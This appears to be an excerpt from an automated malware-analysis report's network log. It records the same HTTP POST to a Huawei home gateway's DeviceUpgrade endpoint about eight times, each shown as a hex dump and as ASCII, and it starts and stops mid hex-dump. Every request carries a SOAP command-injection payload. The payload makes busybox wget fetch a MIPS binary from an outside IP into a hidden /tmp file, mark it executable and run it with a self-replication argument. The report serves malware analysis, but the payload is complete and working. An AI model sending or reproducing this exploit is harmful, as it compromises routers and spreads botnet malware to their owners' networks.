3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 